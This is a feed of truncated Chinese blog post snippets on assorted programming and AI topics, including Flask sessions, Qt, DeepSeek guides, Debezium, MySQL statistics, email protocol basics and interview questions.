VLM(视觉语言模型)与DeepSeek R1(奖励机制)如何结合 flyfish VLM的传统训练依赖于监督学习(直接拟合问答对),而规则奖励函数通常用于强化学习(通过试错和奖励反馈优化策略…...
问题:Flask应用中的用户会话(Session)管理失效
我来分享一个常见的PythonWeb开发问题: 问题:Flask应用中的用户会话(Session)管理失效 这是一个在Flask开发中经常遇到的问题。当用户登录后,有时会话会意外失效,导致用户需要重复登录。 解决方案: 1. 首先&#x…...
Qt/C++面试【速通笔记一】
Qt 信号与槽机制 什么是信号(Signal)和槽(Slot)? 在Qt中,信号(Signal)和槽(Slot)是实现对象之间通信的一种机制。信号是对象在某些事件发生时发出的通知&…...
RoCBert:具有多模态对比预训练的健壮中文BERT
摘要 大规模预训练语言模型在自然语言处理(NLP)任务上取得了最新的最优结果(SOTA)。然而,这些模型容易受到对抗攻击的影响,尤其是对于表意文字语言(如中文)。 在本研究中࿰…...
DeepSeek入门到大师 清华大学[1-5版]全集
1、文件概览 1、清华大学《DeepSeek:从入门到精通》 2、清华大学《Deepseek如何赋能职场应用?》 3、清华大学《普通人如何抓住DeepSeek红利》 4、清华大学《DeepSeekDeepResearch让科研像聊天一样简单》 5、清华大学《DeepSeek与AI幻觉》 6、天津大学《深度解读Deepseek:原理…...
Debezium:实时数据捕获与同步的利器
一、什么是 Debezium Debezium 是一个开源的分布式平台,专门用于捕获数据库中的数据变更。它通过读取数据库的事务日志,能够以非侵入性的方式捕获数据库中发生的所有变化,并将这些变化转化为事件流,实时推送到像 Kafka 这样的消息…...
【蓝桥杯】第十五届省赛大学真题组真题解析
【蓝桥杯】第十五届省赛大学真题组真题解析 一、智能停车系统 1、知识点 (1)flex-wrap 控制子元素的换行方式 属性值有: no-wrap不换行wrap伸缩容器不够则自动往下换行wrap-reverse伸缩容器不够则自动往上换行 (2࿰…...
AI助力下的PPT革命:DeepSeek 与Kimi的高效创作实践
清华大学出品《DeepSeek:从入门到精通》分享 在忙碌的职场中,制作一份高质量的PPT往往需要投入大量时间和精力,尤其是在临近截止日期时。今天,我们将探索如何借助 AI 工具 —— DeepSeek 和 Kimi —— 让 PPT 制作变得既快捷又高…...
【MySQL篇】持久化和非持久化统计信息的深度剖析(含analyze命令和mysqlcheck工具两种收集方式)
💫《博主介绍》:✨又是一天没白过,我是奈斯,从事IT领域✨ 💫《擅长领域》:✌️擅长阿里云AnalyticDB for MySQL(分布式数据仓库)、Oracle、MySQL、Linux、prometheus监控;并对SQLserver、NoSQL(…...
C++ 手撕定时器
C 手撕定时器 思路与知识调用场景类声明 参考 思路与知识 1. 为了支持相同时间戳下多个任务,需要考虑到支持重复key的std::mutimap, 以及成员函数equal_range 2. 工具函数Timer::GetTick 返回一个uint64_t毫秒时间戳作为multimap的key,需要会使用chrono…...
邮件安全之发件人伪造
电子邮件工作原理 电子邮件传输过程中主要涉及到SMTP、IMAP、POP3三种协议,具体功能如下: SMTP:全称Simple Mail Transfer Protocol,即简单邮件传输协议,主要用于发送邮件,使用端口号25。 IMAP:全称Internet Mail Acce…...
前端八股——JS+ES6
前端八股:JSES6 说明:个人总结,用于个人复习回顾,将持续改正创作,已在语雀公开,欢迎评论改正。...
Qt QTreeWidget 总结
Qt QTreeWidget 总结 1. 概述 QTreeWidget 是 Qt 中用于显示树形结构的控件,继承自 QTreeView,但提供了更简单的接口。适合展示层级数据(如文件目录、组织结构)。每个节点是 QTreeWidgetItem 对象,支持文本、图标、复…...
Python常见面试题的详解16
1. 如何强行关闭客户端和服务器之间的连接? 在网络编程中,有时需要强行中断客户端和服务器之间的连接。对于基于 TCP 协议的连接,由于其面向连接的特性,需要采取特定的步骤来确保连接被正确关闭;而 UDP 是无连接协议&a…...
前端设计模式面试题及参考答案
目录 如何用闭包实现单例模式?列举两种实现方式 工厂模式与构造函数创建对象的核心区别是什么? 抽象工厂模式如何解决多平台 UI 组件兼容问题? 原型模式在前端框架中如何优化对象创建性能? 建造者模式如何实现复杂表单配置的链式调用? 单例模式在全局状态管理中的典型…...
Python Django系列—入门实例(二)
数据库配置 现在,打开 mysite/settings.py 。这是个包含了 Django 项目设置的 Python 模块。 默认情况下, DATABASES 配置使用 SQLite。如果你是数据库新手,或者只是想尝试 Django,这是最简单的选择。SQLite 包含在 Python 中…...
STM32-智能台灯项目
一、项目需求 1. 红外传感器检测是否有人,有人的话实时检测距离,过近则报警;同时计时,超过固定时间则报警; 2. 按键 1 切换工作模式:智能模式、按键模式、远程模式; 3. 智能模式下,根…...
HTML之JavaScript DOM操作元素(2)
HTML之JavaScript DOM操作元素(2) 4.增删元素var element document.createElement("元素名") 创建新元素父元素.appendChild(子元素) 在父元素中追加子元素父元素.insertBefore(新元素,参照元素) 在特定元素之前新增元…...
智能优化算法:莲花算法(Lotus flower algorithm,LFA)介绍,提供MATLAB代码
一、 莲花算法 1.1 算法原理 莲花算法(Lotus flower algorithm,LFA)是一种受自然启发的优化算法,其灵感来源于莲花的自清洁特性和授粉过程。莲花的自清洁特性,即所谓的“莲花效应”,是由其叶片表面的微纳…...
【复习】计算机网络
网络模型 OSI 应用层:给应用程序提供统一的接口表示层:把数据转换成兼容另一个系统能识别的格式会话层:负责建立、管理、终止表示层实体之间的通信会话传输层:负责端到端的数据传输网络层:负责数据的路由、转发、分片…...
【R语言】读取CSV数据时,显示[1] PK...<0 行> (或0-长度的row.names)
一、问题 当我使用以下代码读取CSV数据后,发现使用head(data)显示[1] PK...<0 行> (或0-长度的row.names),如下截图所示。 # 尝试读取文件 data <- read.csv("C:\\Users\\11300\\Desktop\\test.csv", header TRUE) # 检查数据 hea…...
CentOS环境变量配置+解析
环境变量的作用就是让系统快速通过你的命令找到你的可执行程序,windows系统里也同理,也就是你每次输入个命令,系统就会找环境变量里到底有没有叫这个命令进程的 一、环境变量配置 1.编辑配置文件 vim /etc/profile export PATH$PATH:$JAVA…...
最新版本Exoplayer扩展FFmpeg音频软解码保姆级教程
ExoPlayer 是一个开源的 Android 媒体播放库,由 Google 开发和维护,用于替代 Android 系统自带的 MediaPlayer。它提供了更强大的功能、更好的性能和更高的灵活性,适用于各种复杂的媒体播放场景。所以被广泛用于各种播放器场景。 最近项目中…...
【蓝桥杯集训·每日一题2025】 AcWing 6134. 哞叫时间II python
6134. 哞叫时间II Week 1 2月20日 农夫约翰正在试图向埃尔茜描述他最喜欢的 USACO 竞赛,但她很难理解为什么他这么喜欢它。 他说「竞赛中我最喜欢的部分是贝茜说『现在是哞哞时间』并在整个竞赛中一直哞哞叫」。 埃尔茜仍然不理解,所以农夫约翰将竞赛…...
HTML/CSS中子代选择器
1.作用:选中指定元素中,符合要求的子元素. 子代选择器又称:子元素选择器,子选择器. 2.语法:选择器1>选择器2>选择器3>......选择器n 3.实例 <style>/* div中子代选择器 */div>a{color: red;}</style><div><a href"#">张三</…...
计算机毕业设计SpringBoot+Vue.jst网上购物商城系统(源码+LW文档+PPT+讲解)
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
EasyRTC:全平台支持与自研算法驱动的智能音视频通讯解决方案
在智能硬件的浪潮中,设备之间的互联互通已成为提升用户体验的核心需求。无论是智能家居、智能办公,还是工业物联网,高效的音视频通讯和交互能力是实现智能化的关键。然而,传统音视频解决方案往往面临平台兼容性差、交互体验不佳以…...
C#: 日志函数
背景: 1.常见的官方日志模块项目过于复杂,且配置过于繁琐,针对这种现象,实现在大型项目中快速定位错误问题; 实现思路: 1.设置当前日志文件路径(获取到当前文件应用程序路径 \ErrorLog) 2.判…...
PyTorch 是如何进行机器学习的
1. 机器学习的核心流程 机器学习的核心是通过数据训练模型,让模型学会从输入数据中提取规律,并对新数据做出预测。整个过程可以分为以下几个步骤: 准备数据:收集并整理数据,分为输入(特征)和输…...